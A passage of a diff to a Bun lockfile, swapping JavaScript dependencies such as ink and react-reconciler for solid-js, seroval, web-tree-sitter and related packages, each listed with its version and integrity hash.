"sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="], @@ -271,23 +381,15 @@ "ignore": ["ignore@5.3.2", "", {}, "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g=="], - "indent-string": ["indent-string@5.0.0", "", {}, "sha512-m6FAo/spmsW2Ab2fU35JTYwtOKa2yAwXSwgjSv1TJzh4Mh7mC3lzAOVLBprb72XsTrgkEIsl7YrFNAiDiRhIGg=="], - "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="], - "ink": ["ink@7.0.4", "", { "dependencies": { "@alcalzone/ansi-tokenize": "^0.3.0", "ansi-escapes": "^7.3.0", "ansi-styles": "^6.2.3", "auto-bind": "^5.0.1", "chalk": "^5.6.2", "cli-boxes": "^4.0.1", "cli-cursor": "^4.0.0", "cli-truncate": "^6.0.0", "code-excerpt": "^4.0.0", "es-toolkit": "^1.45.1", "indent-string": "^5.0.0", "is-in-ci": "^2.0.0", "patch-console": "^2.0.0", "react-reconciler": "^0.33.0", "scheduler": "^0.27.0", "signal-exit": "^3.0.7", "slice-ansi": "^9.0.0", "stack-utils": "^2.0.6", "string-width": "^8.2.0", "terminal-size": "^4.0.1", "type-fest": "^5.5.0", "widest-line": "^6.0.0", "wrap-ansi": "^10.0.0", "ws": "^8.20.0", "yoga-layout": "~3.2.1" }, "peerDependencies": { "@types/react": ">=19.2.0", "react": ">=19.2.0", "react-devtools-core": ">=6.1.2" }, "optionalPeers": ["@types/react", "react-devtools-core"] }, "sha512-4wsM/gMKOT2ZANNTJibI6I9IcwBfobqv/CgaDcwvOaCREZIQxo3iGQS7qPHa2hmA67NYltZWCMtBDELB/mcbJQ=="], - - "ink-testing-library": ["ink-testing-library@4.0.0", "", { "peerDependencies": { "@types/react": ">=18.0.0" }, "optionalPeers": ["@types/react"] }, "sha512-yF92kj3pmBvk7oKbSq5vEALO//o7Z9Ck/OaLNlkzXNeYdwfpxMQkSowGTFUCS5MSu9bWfSZMewGpp7bFc66D7Q=="], - "ip-address": ["ip-address@10.2.0", "", {}, "sha512-/+S6j4E9AHvW9SWMSEY9Xfy66O5PWvVEJ08O0y5JGyEKQpojb0K0GKpz/v5HJ/G0vi3D2sjGK78119oXZeE0qA=="], "ipaddr.js": ["ipaddr.js@1.9.1", "", {}, "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="], "is-callable": ["is-callable@1.2.7", "", {}, "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA=="], - "is-fullwidth-code-point": ["is-fullwidth-code-point@5.1.0", "", { "dependencies": { "get-east-asian-width": "^1.3.1" } }, "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ=="], - - "is-in-ci": ["is-in-ci@2.0.0", "", { "bin": { "is-in-ci": "cli.js" } }, "sha512-cFeerHriAnhrQSbpAxL37W1wcJKUUX07HyLWZCW1URJT/ra3GyUTzBgUnh24TMVfNTV2Hij2HLxkPHFZfOZy5w=="], + "is-core-module": ["is-core-module@2.16.2", "", { "dependencies": { "hasown": "^2.0.3" } }, "sha512-evOr8xfXKxE6qSR0hSXL2r3sd7ALj8+7jQEUvPYcm5sgZFdJ+AYzT6yNmJenvIYQBgIGwfwz08sL8zoL7yq2BA=="], "is-promise": ["is-promise@4.0.0", "", {}, "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ=="], @@ -301,10 +403,22 @@ "jose": ["jose@6.2.3", "", {}, "sha512-YYVDInQKFJfR/xa3ojUTl8c2KoTwiL1R5Wg9YCydwH0x0B9grbzlg5HC7mMjCtUJjbQ/YnGEZIhI5tCgfTb4Hw=="], + "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="], + + "jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="], + "json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], "json-schema-typed": ["json-schema-typed@8.0.2", "", {}, "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA=="], + "json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="], + + "locate-path": ["locate-path@3.0.0", "", { "dependencies": { "p-locate": "^3.0.0", "path-exists": "^3.0.0" } }, "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A=="], + + "lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="], + + "marked": ["marked@17.0.1", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-boeBdiS0ghpWcSwoNm/jJBwdpFaMnZWRzjA6SkUMYb40SVaN1x7mmfGKp0jvexGcx+7y2La5zRZsYFZI6Qpypg=="], + "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], "media-typer": ["media-typer@1.1.0", "", {}, "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw=="], @@ -315,18 +429,22 @@ "mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="], - "mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="], - "mimic-response": ["mimic-response@3.1.0", "", {}, "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ=="], + "minimatch": ["minimatch@8.0.7", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-V+1uQNdzybxa14e/p00HZnQNNcTjnRJjDxg2V8wtkjFctq4M7hXFws4oekyTP0Jebeq7QYtpFyOeBAjc88zvYg=="], + "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="], "minimisted": ["minimisted@2.0.1", "", { "dependencies": { "minimist": "^1.2.5" } }, "sha512-1oPjfuLQa2caorJUM8HV8lGgWCc0qqAO1MNv/k05G4qslmsndV/5WdNZrqCiyqiz3wohia2Ij2B7w2Dr7/IyrA=="], + "minipass": ["minipass@4.2.8", "", {}, "sha512-fNzuVyifolSLFL4NzpF+wEF4qrgqaaKX0haXPQEdQ7NKAN+WecoKMHV09YcuL/DHxrUsYQOK3MiuDf7Ip2OXfQ=="], + "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="], "negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="], + "node-releases": ["node-releases@2.0.52", "", {}, "sha512-MRlTqhAfoMx/4mhEbPo3Hi02g9LJZaJkka69V6h67Cb1gjrAG0jsTE4CZX1eptNx+VCAwJmfpnDIF4P0Nh1A7A=="], + "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="], "object-inspect": ["object-inspect@1.13.4", "", {}, "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew=="], @@ -335,22 +453,36 @@ "once": ["once@1.4.0", "", { "dependencies": { "wrappy": "1" } }, "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w=="], - "onetime": ["onetime@5.1.2", "", { "dependencies": { "mimic-fn": "^2.1.0" } }, "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg=="], + "p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="], + + "p-locate": ["p-locate@3.0.0", "", { "dependencies": { "p-limit": "^2.0.0" } }, "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ=="], + + "p-try": ["p-try@2.2.0", "", {}, "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="], "pako": ["pako@1.0.11", "", {}, "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="], + "parse5": ["parse5@7.3.0", "", { "dependencies": { "entities": "^6.0.0" } }, "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw=="], + "parseurl": ["parseurl@1.3.3", "", {}, "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="], - "patch-console": ["patch-console@2.0.0", "", {}, "sha512-0YNdUceMdaQwoKce1gatDScmMo5pu/tfABfnzEqeG0gtTmd7mh/WcwgUjtAeOU7N8nFFlbQBnFK2gXW5fGvmMA=="], + "path-exists": ["path-exists@3.0.0", "", {}, "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ=="], "path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="], + "path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="], + + "path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], + "path-to-regexp": ["path-to-regexp@8.4.2", "", {}, "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA=="], + "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="], + "pify": ["pify@4.0.1", "", {}, "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="], "pkce-challenge": ["pkce-challenge@5.0.1", "", {}, "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ=="], + "pkg-up": ["pkg-up@3.1.0", "", { "dependencies": { "find-up": "^3.0.0" } }, "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA=="], + "possible-typed-array-names": ["possible-typed-array-names@1.1.0", "", {}, "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg=="], "process": ["process@0.11.10", "", {}, "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A=="], @@ -365,28 +497,30 @@ "react": ["react@19.2.6", "", {}, "sha512-sfWGGfavi0xr8Pg0sVsyHMAOziVYKgPLNrS7ig+ivMNb3wbCBw3KxtflsGBAwD3gYQlE/AEZsTLgToRrSCjb0Q=="], - "react-devtools-core": ["react-devtools-core@7.0.1", "", { "dependencies": { "shell-quote": "^1.6.1", "ws": "^7" } }, "sha512-C3yNvRHaizlpiASzy7b9vbnBGLrhvdhl1CbdU6EnZgxPNbai60szdLtl+VL76UNOt5bOoVTOz5rNWZxgGt+Gsw=="], - - "react-reconciler": ["react-reconciler@0.33.0", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.0" } }, "sha512-KetWRytFv1epdpJc3J4G75I4WrplZE5jOL7Yq0p34+OVOKF4Se7WrdIdVC45XsSSmUTlht2FM/fM1FZb1mfQeA=="], - "readable-stream": ["readable-stream@4.7.0", "", { "dependencies": { "abort-controller": "^3.0.0", "buffer": "^6.0.3", "events": "^3.3.0", "process": "^0.11.10", "string_decoder": "^1.3.0" } }, "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg=="], "require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="], - "restore-cursor": ["restore-cursor@4.0.0", "", { "dependencies": { "onetime": "^5.1.0", "signal-exit": "^3.0.2" } }, "sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg=="], + "reselect": ["reselect@4.1.8", "", {}, "sha512-ab9EmR80F/zQTMNeneUr4cv+jSwPJgIlvEmVwLerwrWVbpLlBuls9XHzIeTFy4cegU2NHBp3va0LKOzU5qFEYQ=="], + + "resolve": ["resolve@1.22.12", "", { "dependencies": { "es-errors": "^1.3.0", "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA=="], "router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="], + "s-js": ["s-js@0.4.9", "", {}, "sha512-RtpOm+cM6O0sHg6IA70wH+UC3FZcND+rccBZpBAHzlUgNO2Bm5BN+FnM8+OBxzXdwpKWFwX11JGF0MFRkhSoIQ=="], + "safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="], "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], - "scheduler": ["scheduler@0.27.0", "", {}, "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q=="], - "semver": ["semver@7.8.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-rUCObTnP32Q08R2uuIrt7r9PlEonuTmtuXYcW6s5kjdlj3xbnwe+21yXptAUYcMAABLkYYTtnmzb3w3EDZfueA=="], "send": ["send@1.2.1", "", { "dependencies": { "debug": "^4.4.3", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.1", "mime-types": "^3.0.2", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.2" } }, "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ=="], + "seroval": ["seroval@1.5.6", "", {}, "sha512-rVQVWjjSvlINzaQPZH5JFqsqEsIWdTxY3iJZCnTL/5gQbXIRooVZKI60tVCkOVfzcRPejboxO2t0P89dg5mQaA=="], + + "seroval-plugins": ["seroval-plugins@1.5.6", "", { "peerDependencies": { "seroval": "^1.0" } }, "sha512-HXuLAX2pu/UByPpaeo/TaMfvMIi+1QqIoPJYCcAtU8QkVNwgR6MPlGuCQTErV1JwraaMbYaWVIBX7mppzGLATQ=="], + "serve-static": ["serve-static@2.2.1", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw=="], "set-function-length": ["set-function-length@1.2.2", "", { "dependencies": { "define-data-property": "^1.1.4", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2" } }, "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg=="], @@ -399,8 +533,6 @@ "shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="], - "shell-quote": ["shell-quote@1.8.4", "", {}, "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ=="], - "side-channel": ["side-channel@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.4", "side-channel-list": "^1.0.1", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ=="], "side-channel-list": ["side-channel-list@1.0.1", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.4" } }, "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w=="], @@ -409,34 +541,26 @@ "side-channel-weakmap": ["side-channel-weakmap@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.5", "object-inspect": "^1.13.3", "side-channel-map": "^1.0.1" } }, "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A=="], - "signal-exit": ["signal-exit@3.0.7", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="], - "simple-concat": ["simple-concat@1.0.1", "", {}, "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q=="], "simple-get": ["simple-get@4.0.1", "", { "dependencies": { "decompress-response": "^6.0.0", "once": "^1.3.1", "simple-concat": "^1.0.0" } }, "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA=="], - "slice-ansi": ["slice-ansi@9.0.0", "", { "dependencies": { "ansi-styles": "^6.2.3", "is-fullwidth-code-point": "^5.1.0" } }, "sha512-SO/3iYL5S3W57LLEniscOGPZgOqZUPCx6d3dB+52B80yJ0XstzsC/eV8gnA4tM3MHDrKz+OCFSLNjswdSC+/bA=="], - - "stack-utils": ["stack-utils@2.0.6", "", { "dependencies": { "escape-string-regexp": "^2.0.0" } }, "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ=="], + "solid-js": ["solid-js@1.9.14", "", { "dependencies": { "csstype": "^3.1.0", "seroval": "~1.5.4", "seroval-plugins": "~1.5.4" } }, "sha512-sAEXC0Kk0S1EDg+8ysEWJDbYhA3RRoEjwuySUGlKIemeo0I5YZfOyumNjNs9Sv3y2nmhD+0rW66ag2HsMuQiGQ=="], "statuses": ["statuses@2.0.2", "", {}, "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw=="], - "string-width": ["string-width@8.2.1", "", { "dependencies": { "get-east-asian-width": "^1.5.0", "strip-ansi": "^7.1.2" } }, "sha512-IIaP0g3iy9Cyy18w3M9YcaDudujEAVHKt3a3QJg1+sr/oX96TbaGUubG0hJyCjCBThFH+tFpcIyoUHUn1ogaLA=="], + "string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="], "string_decoder": ["string_decoder@1.3.0", "", { "dependencies": { "safe-buffer": "~5.2.0" } }, "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA=="], - "strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], - - "tagged-tag": ["tagged-tag@1.0.0", "", {}, "sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng=="], + "strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="], - "terminal-size": ["terminal-size@4.0.1", "", {}, "sha512-avMLDQpUI9I5XFrklECw1ZEUPJhqzcwSWsyyI8blhRLT+8N1jLJWLWWYQpB2q2xthq8xDvjZPISVh53T/+CLYQ=="], + "supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="], "to-buffer": ["to-buffer@1.2.2", "", { "dependencies": { "isarray": "^2.0.5", "safe-buffer": "^5.2.1", "typed-array-buffer": "^1.0.3" } }, "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw=="], "toidentifier": ["toidentifier@1.0.1", "", {}, "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="], - "type-fest": ["type-fest@5.6.0", "", { "dependencies": { "tagged-tag": "^1.0.0" } }, "sha512-8ZiHFm91orbSAe2PSAiSVBVko18pbhbiB3U9GglSzF/zCGkR+rxpHx6sEMCUm4kxY4LjDIUGgCfUMtwfZfjfUA=="], - "type-is": ["type-is@2.1.0", "", { "dependencies": { "content-type": "^2.0.0", "media-typer": "^1.1.0", "mime-types": "^3.0.0" } }, "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA=="], "typed-array-buffer": ["typed-array-buffer@1.0.3", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "is-typed-array": "^1.1.14" } }, "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw=="], @@ -449,33 +573,47 @@ "unpipe": ["unpipe@1.0.0", "", {}, "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="], + "update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="], + "vary": ["vary@1.1.2", "", {}, "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="], "vscode-jsonrpc": ["vscode-jsonrpc@9.0.1", "", {}, "sha512-rfuA6T75H6m5EkbhtEPzre9pT0HPcDI2MMy4+nPFIBks5J8JBAUHD4tRYSgaBOijIEC7SRkC1kKyXTLqbmh9jw=="], "vscode-languageserver-types": ["vscode-languageserver-types@3.18.0", "", {}, "sha512-8TsGPNMIMiiBdkORgRSvLjuiEIiAFtO+KssmYWxQ+uSVvlf7RjK8YKCOjPzZ+YA04jXEV7+7LvkSmHkhpNS99g=="], + "web-tree-sitter": ["web-tree-sitter@0.25.10", "", { "peerDependencies": { "@types/emscripten": "^1.40.0" }, "optionalPeers": ["@types/emscripten"] }, "sha512-Y09sF44/13XvgVKgO2cNDw5rGk6s26MgoZPXLESvMXeefBf7i6/73eFurre0IsTW6E14Y0ArIzhUMmjoc7xyzA=="], + "which": ["which@4.0.0", "", { "dependencies": { "isexe": "^3.1.1" }, "bin": { 